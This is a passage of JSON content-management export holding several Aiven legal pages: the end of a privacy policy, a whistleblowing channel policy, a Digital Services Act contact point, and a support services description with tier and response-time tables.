processed based on contract or the User's consent."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7c0bc334afa","_type":"block","children":[{"_key":"fc57fd23124c0","_type":"span","marks":[],"text":"Should the User wish to exercise his/her above mentioned rights, please send a request to us at "},{"_key":"fc57fd23124c1","_type":"span","marks":["23cae80430c0"],"text":"privacy@aiven.io"},{"_key":"fc57fd23124c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"23cae80430c0","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"b2817be18020","_type":"block","children":[{"_key":"ef885df64c710","_type":"span","marks":[],"text":"If you consider the way we are processing your personal data is conducted in an unlawful way or violates this Privacy Policy, you have a right to file a complaint to your national data protection authority in the EU/EEA. You may also file a complaint to the data protection authority in any other EU country where you live, work, or where you consider the alleged violation has occurred."}],"markDefs":[],"style":"normal"},{"_key":"8fd9e739f233","_type":"block","children":[{"_key":"79ab29eeb94e0","_type":"span","marks":[],"text":"Clauses for Users in California"}],"markDefs":[],"style":"h2"},{"_key":"ba8cffe521a7","_type":"block","children":[{"_key":"221ce2f778190","_type":"span","marks":[],"text":"Users that are California Residents have specific rights to control their personal information. To read more about these rights based on the California Consumer Privacy Act (“CCPA”) and California Privacy Rights Act (CPRA) please see our "},{"_key":"631ebf5628e9","_type":"span","marks":["7b3ff1d2b2dc"],"text":"Privacy Notice for California Residents"},{"_key":"3b6b4a909dda","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7b3ff1d2b2dc","_type":"internalLink","internalLink":{"_ref":"67241aaf-6872-4046-ba51-ca6a18c3d9aa","_type":"reference"}}],"style":"normal"},{"_key":"8d3ff9b11aff","_type":"block","children":[{"_key":"d2078597768d0","_type":"span","marks":[],"text":"What Security measures have we taken?"}],"markDefs":[],"style":"h2"},{"_key":"03eaeb3e599c","_type":"block","children":[{"_key":"f82728513bd60","_type":"span","marks":[],"text":"We have carried out reasonable technical and organizational measures to secure the personal data processed against unauthorized access, against accidental or unlawful destruction, manipulation, disclosure and transfer and against other unlawful processing. For instance, any physical data is stored in locked facilities and access to automatically processed data is limited by user rights and passwords within our organization."}],"markDefs":[],"style":"normal"},{"_key":"5ae443ff2dee","_type":"block","children":[{"_key":"42595d39f3150","_type":"span","marks":[],"text":"Please be aware that, although we endeavor to provide reasonable security measures for personal data, no security system can prevent all potential security breaches."}],"markDefs":[],"style":"normal"},{"_key":"281053bb2a6d","_type":"block","children":[{"_key":"702510b4071e0","_type":"span","marks":[],"text":"Changes to this Privacy Policy"}],"markDefs":[],"style":"h2"},{"_key":"4ea3ee674963","_type":"block","children":[{"_key":"9b18642e630a","_type":"span","marks":[],"text":"We may change this Privacy Policy from time to time. If we make any changes to this Privacy Policy, we will actively bring it to the attention of the Users by using communication channels available to us. The most recent version of this Privacy Policy can be found at "},{"_key":"d1aed85c523a","_type":"span","marks":["4ccf28adbe10"],"text":"aiven.io/privacy"}],"markDefs":[{"_key":"4ccf28adbe10","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"}],"publishedAt":"2023-07-24T13:37:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven was an early adopter of GDPR stipulations and also why we offer a simple privacy policy.\n","metaImage":{"_type":"mainImage","alt":"Privacy policy meta preview","asset":{"_ref":"image-534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250-jpg","_type":"reference"}},"metaTitle":"Aiven Privacy Policy"},"slug":{"_type":"slug","current":"/privacy"},"title":"Aiven Privacy Policy"}
{"__i18n_lang":"en","_createdAt":"2024-06-14T09:18:00Z","_id":"4f86e78c-986b-463e-8074-2913ef613509","_rev":"1TNmID5nkOaQr0c4vN99vA","_type":"term","_updatedAt":"2024-06-18T06:52:10Z","content":[{"_key":"913630213e39","_type":"block","children":[{"_key":"ad093d06d3a90","_type":"span","marks":[],"text":"Aiven strongly encourages both employees and external stakeholders to speak up and report suspected violations of laws and regulations or unethical conduct. As the Aiven Code of Conduct states, our objective is to create an environment where everyone can speak out in good faith and without fear of retaliation."}],"markDefs":[],"style":"normal"},{"_key":"260c8cca7daa","_type":"block","children":[{"_key":"bfddd279ae670","_type":"span","marks":[],"text":"For this purpose, we have established a whistleblowing channel. The channel is provided by our external partner WhistleB to guarantee confidential and anonymous reporting. Our whistleblowing channel complies with Directive (EU) 2019/1937 on the protection of persons who report violations of European Union legislation as well as applicable national laws."}],"markDefs":[],"style":"normal"},{"_key":"8015cf1b8e14","_type":"block","children":[{"_key":"47736732b84b","_type":"span","marks":[],"text":"If you suspect that something is not right, please report it to us"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8a470e702851","_type":"block","children":[{"_key":"5823e9c4fc030","_type":"span","marks":[],"text":"You can submit a "},{"_key":"59e2d5f3125b","_type":"span","marks":["d9feeab433c2"],"text":"report here"},{"_key":"de0cd4fafaf4","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9feeab433c2","_type":"link","href":"https://report.whistleb.com/en-GB/aiven"}],"style":"normal"},{"_key":"b4efed1540d0","_type":"block","children":[{"_key":"294a5f3eeba90","_type":"span","marks":[],"text":"Reports are treated confidentially"}],"markDefs":[],"style":"h2"},{"_key":"8567fc2a814c","_type":"block","children":[{"_key":"5200932dcab00","_type":"span","marks":[],"text":"Reports that are sent to the whistleblowing channel can only be reviewed by a designated Compliance Investigation Team. All reports are handled quickly, confidentially and in accordance with strict rules regarding conflicts of interest."}],"markDefs":[],"style":"normal"},{"_key":"81e1de936e58","_type":"block","children":[{"_key":"66f87091755b0","_type":"span","marks":[],"text":"You may submit your identity or choose to remain anonymous in your report. We recommend submitting your name and contact information to enable fast communication during the investigation process. Also, to pursue an investigation regarding for example harassment or discrimination, it may be necessary to know the identity of the person making the report."}],"markDefs":[],"style":"normal"},{"_key":"f9f0744e7f71","_type":"block","children":[{"_key":"6a08c51708a50","_type":"span","marks":[],"text":"However, messages can also be received anonymously through the whistleblowing channel based on a personal ID and password that are provided upon submitting a report. Note that neither Aiven nor WhistleB can recover your password or ID if lost."}],"markDefs":[],"style":"normal"},{"_key":"c518cb6749dd","_type":"block","children":[{"_key":"c1ca805336b40","_type":"span","marks":[],"text":"What should I report in the whistleblowing channel?"}],"markDefs":[],"style":"h2"},{"_key":"1a40b82aa482","_type":"block","children":[{"_key":"a369f319aae00","_type":"span","marks":[],"text":"The whistleblowing channel can be to report suspected crimes, violations or misconduct, for example:"}],"markDefs":[],"style":"normal"},{"_key":"0a817577643e","_type":"block","children":[{"_key":"90cf039889a60","_type":"span","marks":[],"text":"Financial misconduct (such as corruption, bribery or fraud)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8f7c380abe7d","_type":"block","children":[{"_key":"da8e64207f020","_type":"span","marks":[],"text":"Anti-competitive activities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"332dfba1aa7b","_type":"block","children":[{"_key":"7d73e338540f0","_type":"span","marks":[],"text":"Serious environmental violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6666a992e75c","_type":"block","children":[{"_key":"4330adc0ffcf0","_type":"span","marks":[],"text":"Health and safety violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6431d70bce10","_type":"block","children":[{"_key":"e5e6ddf788b10","_type":"span","marks":[],"text":"Data privacy or information security violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dfab59efa829","_type":"block","children":[{"_key":"836e6f0ac6530","_type":"span","marks":[],"text":"Discrimination, harassment and bullying, if you feel that you cannot use other existing means of reporting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"67234b986239","_type":"block","children":[{"_key":"1f1a911886460","_type":"span","marks":[],"text":"Other illegal or unethical acts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"eaa5f5ad4f03","_type":"block","children":[{"_key":"ac8124bc1aaf0","_type":"span","marks":[],"text":"You are not required to provide evidence in your report, but all reports must be made in good faith. Deliberately reporting false or malicious information is a serious violation."}],"markDefs":[],"style":"normal"},{"_key":"38b4d71681d9","_type":"block","children":[{"_key":"a006d270fcca0","_type":"span","marks":[],"text":"Please note that the whistleblowing channel should not be used for general customer feedback. We ask that you provide customer feedback directly to your sales representative."}],"markDefs":[],"style":"normal"},{"_key":"234260a9835d","_type":"block","children":[{"_key":"2461eee391090","_type":"span","marks":[],"text":"How should I make a report?"}],"markDefs":[],"style":"h2"},{"_key":"63685075c94c","_type":"block","children":[{"_key":"5ac140c0a8590","_type":"span","marks":[],"text":"Alternative 1: If you are an employee at Aiven, first we encourage you to speak directly to your own manager."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"614b1e91ff0c","_type":"block","children":[{"_key":"0b80f63a764a0","_type":"span","marks":[],"text":"Alternative 2: If you cannot report to your manager, you are encouraged to contact your manager’s superior, the People team or the Legal team."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a94159efd94b","_type":"block","children":[{"_key":"08642f9910180","_type":"span","marks":[],"text":"Alternative 3: If the above is not possible or does not apply to you, you may report your concerns through the "},{"_key":"62e2b2658b19","_type":"span","marks":["9e0ea69c9add"],"text":"whistleblowing channel"},{"_key":"c5323b9fd986","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"number","markDefs":[{"_key":"9e0ea69c9add","_type":"link","href":"https://report.whistleb.com/en-GB/aiven"}],"style":"normal"},{"_key":"e3f2bb3a1318","_type":"block","children":[{"_key":"a93216fe89ad0","_type":"span","marks":[],"text":"How does Aiven investigate reports?"}],"markDefs":[],"style":"h2"},{"_key":"b92797ca0bda","_type":"block","children":[{"_key":"4afab03bf90d0","_type":"span","marks":[],"text":"When a report is made through the whistleblowing channel, the Compliance Investigation Team notifies the whistleblower that the report has been received (within 7 days)."}],"markDefs":[],"style":"normal"},{"_key":"6630fb250320","_type":"block","children":[{"_key":"b65599c14f5a0","_type":"span","marks":[],"text":"If the whistleblower has not provided a name and contact details, all communication takes place through the channel. The person making the report must use the ID and password given when making the report to access the messages."}],"markDefs":[],"style":"normal"},{"_key":"0b5c5f0d19d8","_type":"block","children":[{"_key":"6f9c27c98cc60","_type":"span","marks":[],"text":"The Compliance Investigation Team investigates the report under strict confidentiality, and determines whether the report concerns the type of violations that the channel is intended for. During the investigation, it is ensured that no such person participates in the investigation, who is implied in the report or who could otherwise be in a conflict of interest. The Compliance Investigation Team may ask follow-up questions through the channel."}],"markDefs":[],"style":"normal"},{"_key":"68ecf841c7e6","_type":"block","children":[{"_key":"e85003dc68a30","_type":"span","marks":[],"text":"The whistleblower is provided with information about the follow-up measures regarding the report within 3 months following the acknowledgement of receipt."}],"markDefs":[],"style":"normal"},{"_key":"e04da2d9167f","_type":"block","children":[{"_key":"2bbb912da1b60","_type":"span","marks":[],"text":"How does Aiven protect whistleblowers?"}],"markDefs":[],"style":"h2"},{"_key":"3fdf35d11622","_type":"block","children":[{"_key":"2ab09ccef95f0","_type":"span","marks":[],"text":"The protection provided pursuant to Directive (EU) 2019/1937 applies specifically to those who report:"}],"markDefs":[],"style":"normal"},{"_key":"accb16fc9281","_type":"block","children":[{"_key":"808f462f93790","_type":"span","marks":[],"text":"breaches of EU or national laws relating to public procurement, financial services, food safety and consumer protection;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d3c0e39b9b89","_type":"block","children":[{"_key":"7d33503081f10","_type":"span","marks":[],"text":"fraud, corruption and other illegal activities affecting EU expenditure, the collection of EU revenues and funds or EU assets;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f7ca9e1f244","_type":"block","children":[{"_key":"81b1522d380a0","_type":"span","marks":[],"text":"misconduct that relates to the EU internal market, e.g. competition law and antitrust rules or state aid rules;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c3c62cbe8f58","_type":"block","children":[{"_key":"fe1708f8babc0","_type":"span","marks":[],"text":"breaches of corporate tax law and arrangements of which the purpose is to obtain a tax advantage and to evade legal obligations;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c17b11c9d575","_type":"block","children":[{"_key":"e13458475db80","_type":"span","marks":[],"text":"criminal, administrative or other types of breaches, if they may cause serious harm to the public interest by creating significant risks for the welfare of society."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1eacbe74a380","_type":"block","children":[{"_key":"796820279e770","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"21f01a679f9e","_type":"block","children":[{"_key":"aef3fc9573c30","_type":"span","marks":[],"text":"In the above cases, whistleblower protection may require that the whistleblower treats the case as confidential and uses Aiven’s whistleblowing channel as the primary report channel. To maintain whistleblower protection, the whistleblower may not be able to provide the information to the public or the authorities until Aiven’s internal process is completed within the timeframe set by law. To learn more about applicable protections and available external reporting channels in the countries in which Aiven is required to have an internal whistleblowing channel in place, please visit the webpages of competent authorities "},{"_key":"aef3fc9573c31","_type":"span","marks":["2ff96c2295b8"],"text":"in Finland"},{"_key":"aef3fc9573c32","_type":"span","marks":[],"text":" and "},{"_key":"aef3fc9573c33","_type":"span","marks":["a1be6d567408"],"text":"in Germany"},{"_key":"aef3fc9573c34","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2ff96c2295b8","_type":"link","href":"https://oikeuskansleri.fi/en/whistleblower-protection"},{"_key":"a1be6d567408","_type":"link","href":"https://www.bundesjustizamt.de/DE/MeldestelledesBundes/MeldestelledesBundes_node.html"}],"style":"normal"},{"_key":"adb64cb8bfb7","_type":"block","children":[{"_key":"214773f786490","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e998ba6ac6e2","_type":"block","children":[{"_key":"640908fad0d90","_type":"span","marks":[],"text":"Please note that the protection provided pursuant to Directive (EU) 2019/1937 does not apply as such to persons and reports which fall outside the scope of the national implementations of the Directive. However, Aiven carries out an investigation and takes measures to prevent retaliation in connection with any report made in good faith and concerning a potential violation of the law, Aiven Code of Conduct or our other internal policies."}],"markDefs":[],"style":"normal"},{"_key":"fb96b9e7f6e9","_type":"block","children":[{"_key":"e7324e14e7070","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e478923068a5","_type":"block","children":[{"_key":"3098966fe07a0","_type":"span","marks":[],"text":"Additionally, to qualify for protection, whistleblowers must have reasonable grounds to believe that the matters reported by them are true. If the whistleblower is proven to be mistaken, this does not remove protection."}],"markDefs":[],"style":"normal"},{"_key":"95775aebd6f9","_type":"block","children":[{"_key":"9d20e327778a","_type":"span","marks":[],"text":"How is my personal data protected?"}],"markDefs":[],"style":"h2"},{"_key":"0fef70478f43","_type":"block","children":[{"_key":"5fa375d6c4f00","_type":"span","marks":[],"text":"Processing personal data"}],"markDefs":[],"style":"h3"},{"_key":"086c650105a9","_type":"block","children":[{"_key":"2941bb895f4e0","_type":"span","marks":[],"text":"This whistleblowing service may collect personal data on the person specified in a message, the person submitting the message (if not sent anonymously) and any third person involved, in order to investigate facts on the declared misconduct and inappropriate behaviour eligible under our Code of Conduct or internal rules. This processing is based on statutory obligations and the legitimate interest of the controller to prevent reputational risks and to promote an ethical business activity."}],"markDefs":[],"style":"normal"},{"_key":"0a5bff67c437","_type":"block","children":[{"_key":"be07626f2b1a0","_type":"span","marks":[],"text":"The provided description and facts under this processing are only reserved to the competent and authorized persons who handle this information confidentially."}],"markDefs":[],"style":"normal"},{"_key":"2cb0f04ea5b4","_type":"block","children":[{"_key":"1ac8edb99a810","_type":"span","marks":[],"text":"You may exercise your rights of access, of rectification and of opposition, as well as of limited processing of your personal data. However, these rights are subject to any overriding safeguarding measures required to prevent the destruction of evidence or other obstructions to the processing and investigation of the case. Data is stored within the EU."}],"markDefs":[],"style":"normal"},{"_key":"805a37d57107","_type":"block","children":[{"_key":"23ca25f0e4100","_type":"span","marks":[],"text":"Deletion of data"}],"markDefs":[],"style":"h3"},{"_key":"f707781a134a","_type":"block","children":[{"_key":"d4959b880c340","_type":"span","marks":[],"text":"Personal data included in whistleblowing messages and investigation documentation is deleted when the investigation is complete, with the exception of when personal data must be maintained according to other applicable laws. Investigation documentation and whistleblower messages that are archived will be anonymised; they will not include personal data through which persons can be directly or indirectly identified."}],"markDefs":[],"style":"normal"},{"_key":"2835399bdb3e","_type":"block","children":[{"_key":"f857685aaf280","_type":"span","marks":[],"text":"Personal data controller and processor"}],"markDefs":[],"style":"h3"},{"_key":"eaa8aa9a3725","_type":"block","children":[{"_key":"563f14da67f90","_type":"span","marks":[],"text":"Aiven Oy is responsible for the personal data processed within the whistleblowing service. In questions concerning data privacy, please contact "},{"_key":"c0050e3758cb","_type":"span","marks":["f1ad1f68f10f"],"text":"privacy@aiven.io"},{"_key":"0b8ee68926de","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f1ad1f68f10f","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"bc8c520f0a6a","_type":"block","children":[{"_key":"41bb27fbad300","_type":"span","marks":[],"text":"WhistleB Whistleblowing Centre Ab (World Trade Centre, Klarabergsviadukten 70, SE-107 24 Stockholm) is responsible for the whistleblowing application, including processing of encrypted data, such as whistleblowing messages. Neither WhistleB nor any sub-suppliers can decrypt and read messages. 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{"__i18n_lang":"en","_createdAt":"2024-02-20T08:23:07Z","_id":"c68abf7c-f7d2-45a5-8fdd-5c1472be1a6f","_rev":"IWll06JTQ4C3MRhtUNBMvg","_type":"term","_updatedAt":"2024-02-20T08:23:07Z","content":[{"_key":"9bece4fa23f9","_type":"block","children":[{"_key":"9521127c7c760","_type":"span","marks":[],"text":"In accordance with Articles 11 and 12 of the DSA, Aiven Oy has nominated "},{"_key":"9521127c7c761","_type":"span","marks":["cdc54e377748"],"text":"legal@aiven.io"},{"_key":"9521127c7c762","_type":"span","marks":[],"text":" as the sole point of contact for direct communications with the customers, users, and European Commission, Member States’ Authorities, and the European Board for Digital Services regarding the implementation of the DSA. English is the preferred language for correspondence with this contact point."}],"markDefs":[{"_key":"cdc54e377748","_type":"link","href":"mailto:legal@aiven.io?subject=Digital%20Services%20Act"}],"style":"normal"},{"_key":"0d4f6619b63d","_type":"block","children":[{"_key":"10e448fff7950","_type":"span","marks":[],"text":"When reaching out to "},{"_key":"10e448fff7951","_type":"span","marks":["be7f5538bdf1"],"text":"legal@aiven.io"},{"_key":"10e448fff7952","_type":"span","marks":[],"text":" please ensure to provide your full name and specify the company or the EU-based authority you represent. Additionally, kindly include an email address associated with the relevant company or EU-based authority for our response."}],"markDefs":[{"_key":"be7f5538bdf1","_type":"link","href":"mailto:legal@aiven.io?subject=Digital%20Services%20Act"}],"style":"normal"},{"_key":"ea63ec034919","_type":"block","children":[{"_key":"393632d1c8190","_type":"span","marks":[],"text":"This contact point is specifically allocated for interactions with the aforementioned customers, users, and authorities. No other queries will be processed."}],"markDefs":[],"style":"normal"}],"infoBannerPosition":"bottom","publishedAt":"2024-02-20T08:21:00.000Z","seo":{"_type":"metaData","metaDescription":"This contact point is specifically allocated for interactions with the aforementioned customers, users, and authorities.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0f63554b2e1a66f874317bedbd5f8ada949a79ab-1200x630-jpg","_type":"reference"}},"metaTitle":"Digital Services Act | Point of Contact Aiven"},"slug":{"_type":"slug","current":"/dsa-point-of-contact"},"title":"Digital Services Act \\nPoint of Contact"}
{"__i18n_lang":"en","_createdAt":"2022-06-06T01:58:14Z","_id":"ef2b25b2-d677-46f7-9d13-288f493a0629","_rev":"Arp4NzaYseKQ5hw9dhDMEs","_type":"term","_updatedAt":"2023-11-24T06:27:13Z","content":[{"_key":"1d9a97a8e03f","_type":"block","children":[{"_key":"43967c4b6df50","_type":"span","marks":[],"text":"Aiven is committed to providing fault-resilient database and messaging services with automatic recovery and self-healing capabilities. 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"}],"markDefs":[],"style":"normal"},{"_key":"9915664e05e3","_type":"block","children":[{"_key":"d740a9ca7153","_type":"span","marks":[],"text":"The Service Credits will be provided in the form of a credit applied to future use of the Cloud Services and will be applied to the use of the Cloud Services taking place within ninety (90) days of the provision of the Service Credit, after which period any unused Service Credits shall expire without any further compensation. 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{"__i18n_lang":"en","_createdAt":"2022-06-06T03:04:37Z","_id":"17d882dc-fcff-4bab-b539-c811e713bfa7","_rev":"YWHkZRhDz94HWGkESn2RU7","_type":"term","_updatedAt":"2024-09-20T09:31:12Z","content":[{"_key":"75de354f9104","_type":"block","children":[{"_key":"21e86156a5c50","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"e5d9538071c0","_type":"block","children":[{"_key":"b68841a419b90","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. 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Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[{"_key":"26cdff81670c","_type":"link","href":"https://aiven.io/docs/platform/howto/support"}],"style":"normal"},{"_key":"fb93b481a903","_type":"block","children":[{"_key":"a71e794fee88","_type":"span","marks":[],"text":"This Support Services Description applies only to customers utilizing online terms and conditions."}],"markDefs":[],"style":"normal"},{"_key":"4349e03d0d2a","_type":"block","children":[{"_key":"4f4d990fccda0","_type":"span","marks":[],"text":"Support tiers"}],"markDefs":[],"style":"h2"},{"_key":"02fab9577873","_type":"block","children":[{"_key":"c026759ad0600","_type":"span","marks":[],"text":"Aiven also offers three additional support tiers on top of the free Basic tier described above: "},{"_key":"6971d7bf37d6","_type":"span","marks":["strong"],"text":"Essential, Advanced, and Premium"},{"_key":"0c134f98cfcd","_type":"span","marks":[],"text":". Different tiers consist of a mix of phone support, response times and technical account management depending on the level of commitment. The support tiers and their features have been described in the table below. "}],"markDefs":[],"style":"normal"},{"_key":"55cc8a8aa87b","_type":"block","children":[{"_key":"3b653c64106d","_type":"span","marks":[],"text":"Customers using Provider’s Services through Provider’s Free Plan will not receive support under any support tiers, but are encouraged to seek guidance in Provider’s "},{"_key":"291a1dc7c1cc","_type":"span","marks":["09ee72bb0942"],"text":"community forum"},{"_key":"667bd633c782","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"09ee72bb0942","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"},{"_key":"86f9d78f6e68","_type":"block","children":[{"_key":"c715598e05ca0","_type":"span","marks":[],"text":"For more details on the specifics of what the support covers, visit the "},{"_key":"2ae81dfda539","_type":"span","marks":["dc4c4bb6a58a"],"text":"responsibility page"},{"_key":"7575f759b80c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dc4c4bb6a58a","_type":"internalLink","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"}}],"style":"normal"},{"_key":"d6bfe053773f","_type":"block","children":[{"_key":"a8ac7b89cda40","_type":"span","marks":[],"text":"Support tier"}],"markDefs":[],"style":"h3"},{"_key":"d7e2e888f835","_type":"block","children":[{"_key":"eecd592f8b430","_type":"span","marks":[],"text":"Every Aiven user has access to create support tickets with a reasonable effort response time. All Aiven services, regardless of the support plan, receive the service uptime "},{"_key":"58b5ffeebd501","_type":"span","marks":["817a94362d11"],"text":"SLA"},{"_key":"58b5ffeebd502","_type":"span","marks":[],"text":" of 99.99%."}],"markDefs":[{"_key":"817a94362d11","_type":"link","href":"https://aiven.io/sla"}],"style":"normal"},{"_key":"bcd19405e7dc","_type":"block","children":[{"_key":"ab404852ec490","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b662f0b87ac6","_type":"table","rows":[{"_key":"791d74ba-89a0-450e-ab4a-d58479c1ecf9","_type":"tableRow","cells":["","Essential","Advanced","Premium"]},{"_key":"2fbe2fff-5f47-428b-8c54-1bd5568b14bc","_type":"tableRow","cells":["Recommendation","Minimum recommendation for Production workloads on Aiven","Production and business critical workloads on Aiven","Business and mission Critical workloads on Aiven"]},{"_key":"7e421566-6253-4fef-9ee2-68f02a72dfd3","_type":"tableRow","cells":["Enhanced technical support","24/5","24/7","24/7"]},{"_key":"bfa7e8ec-1b3d-48fd-b03b-18e0eba8dcee","_type":"tableRow","cells":["Technical phone support escalation","-","-","Yes"]},{"_key":"630617c6-bb4e-4efe-aadb-efaa0e73665e","_type":"tableRow","cells":["Account team","-","Account manager","Designated account manager "]},{"_key":"e2afd210-f88a-4e27-817f-c8fddd3178a2","_type":"tableRow","cells":["Shared Slack channel","-","-","Direct to account team"]},{"_key":"4caed6ac-96be-4094-8fff-fe1775a6fe86","_type":"tableRow","cells":["Technical Account Manager (TAM)","-","-","Designated TAM"]},{"_key":"63f7ed4f-75d3-4810-bc87-9c168ceaa642","_type":"tableRow","cells":["Aiven service capacity and  cost optimization","-","-","Semi-annual"]},{"_key":"9186f017-1027-4707-b93a-d55ce7e69658","_type":"tableRow","cells":["Aiven proactive health check \u003csup\u003e1\u003c/sup\u003e","-","L1","L1, L2, L3"]},{"_key":"5c1a539e-cc8b-4856-919a-e9a33fe014b0","_type":"tableRow","cells":["Aiven service migration review and planning","-","Included","Included"]},{"_key":"540f44d7-813b-44e7-8b79-f79b1a8c0f4e","_type":"tableRow","cells":["Aiven service disaster recovery review and planning","-","Best practices","Best practices"]},{"_key":"8cefb334-3229-4836-85b8-f55e4e05a940","_type":"tableRow","cells":["Business review and strategic alignment","-","Semi-annual","Quarterly"]},{"_key":"3289ee33-33e5-4e69-bc5f-a7d61955cef1","_type":"tableRow","cells":["Training \u0026 enablement sessions \u003csup\u003e2\u003c/sup\u003e","-","-","Twice per year"]},{"_key":"d281386e-6e7c-423f-9493-181490f0f9ab","_type":"tableRow","cells":["Dedicated office hours","-","-","Bi-weekly"]},{"_key":"a94e36c1-1252-4a2b-b5d3-95696c9008bb","_type":"tableRow","cells":["Customized Incident RCA","-","-","Yes"]},{"_key":"9f37b5b9-2ea4-4243-8a26-c9d5d53f23de","_type":"tableRow","cells":["Minimum term length \u003csup\u003e3\u003c/sup\u003e","1 month","6 months","12 months"]}]},{"_key":"a16d25c61bad","_type":"block","children":[{"_key":"35e84bb04c8b0","_type":"span","marks":["em"],"text":"1: L1 - Static Analysis of Services, L2 - Signal Detection in Logs \u0026 Metrics, L3 - Architectural Review"}],"markDefs":[],"style":"normal"},{"_key":"b22498af0a6d","_type":"block","children":[{"_key":"61865559632c","_type":"span","marks":["em"],"text":"2: Additional assistance beyond the original limits can be purchased as Value Add Services which will be delivered by our Expert Services team."}],"markDefs":[],"style":"normal"},{"_key":"2f94367ef5a9","_type":"block","children":[{"_key":"bb66d9c14351","_type":"span","marks":["em"],"text":"3: Plans are for self-service customer subject to a minimum term with non-cancellable fees"}],"markDefs":[],"style":"normal"},{"_key":"c06227982415","_type":"block","children":[{"_key":"a35130ae6b33","_type":"span","marks":[],"text":"Case severity descriptions"}],"markDefs":[],"style":"h3"},{"_key":"82f41b27fd97","_type":"table","rows":[{"_key":"969f04c4-31d3-4d2e-a10c-9d6b862a5801","_type":"tableRow","cells":[" Case severity","Description and examples"," Support channel"]},{"_key":"49bf99d2-fd41-4624-bc31-6a29cdb607e4","_type":"tableRow","cells":["**Low P4** \\n General guidance - No service impact","You have a general question about our service capabilities and usage or you want to request a feature.","Support ticket submitted through the Aiven Support Center."]},{"_key":"1432de42-6bb4-417a-bb64-9ca46aed85e7","_type":"tableRow","cells":["**Medium P3** \\n Service impacted","A workaround is available, however elevated attention from Aiven is required for further investigation. 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Customer’s lack of response or timely cooperation may result in Provider downgrading the case severity or closing the case."}],"markDefs":[],"style":"normal"},{"_key":"d1425951c892","_type":"block","children":[{"_key":"dfa4e6c2330a","_type":"span","marks":[],"text":"Response times by case severity"}],"markDefs":[],"style":"h3"},{"_key":"8bacd711400e","_type":"block","children":[{"_key":"1a1815ab6b5a0","_type":"span","marks":[],"text":"We make every reasonable effort to respond to your initial request within the corresponding timeframes. "}],"markDefs":[],"style":"normal"},{"_key":"687f112a48d8","_type":"table","rows":[{"_key":"b5ce9691-d3dc-4f42-a8f6-4261fada7c78","_type":"tableRow","cells":["Response times by case severity","Basic","Essential","Advanced","Premium"]},{"_key":"1d3ce6a5-0d81-4d3b-ba5e-f7ad97b15292","_type":"tableRow","cells":["**Low** \\n General guidance - No service impact","Next business day","Next business day","24 hours","24 hours"]},{"_key":"82803c11-9362-4739-bca0-46ff5674bd36","_type":"tableRow","cells":["**Medium** \\n Service impacted","","12 hours","8 hours","4 hours"]},{"_key":"4c2310ad-b452-4b4c-83aa-2cc9ef757d33","_type":"tableRow","cells":["**High** \\n Production severely impacted","","","2 hours","1 hour"]},{"_key":"6b22cbff-d3ec-41eb-b899-be12b0701de5","_type":"tableRow","cells":["**Critical** \\n Business/mission-critical system down","","","30 minutes","15 minutes"]}]},{"_key":"02a15ae6744a","_type":"block","children":[{"_key":"c41b09422006","_type":"span","marks":["em"],"text":"The response times reflect the period of time within which Provider’s support personnel will begin working on a case. As the complexity and root cause of cases vary, Provider extends no guarantees regarding timeframes within which cases will be resolved."},{"_key":"bb3fd99c96350","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ffca24239284","_type":"block","children":[{"_key":"45a0d675ecd5","_type":"span","marks":[],"text":"Support pricing per 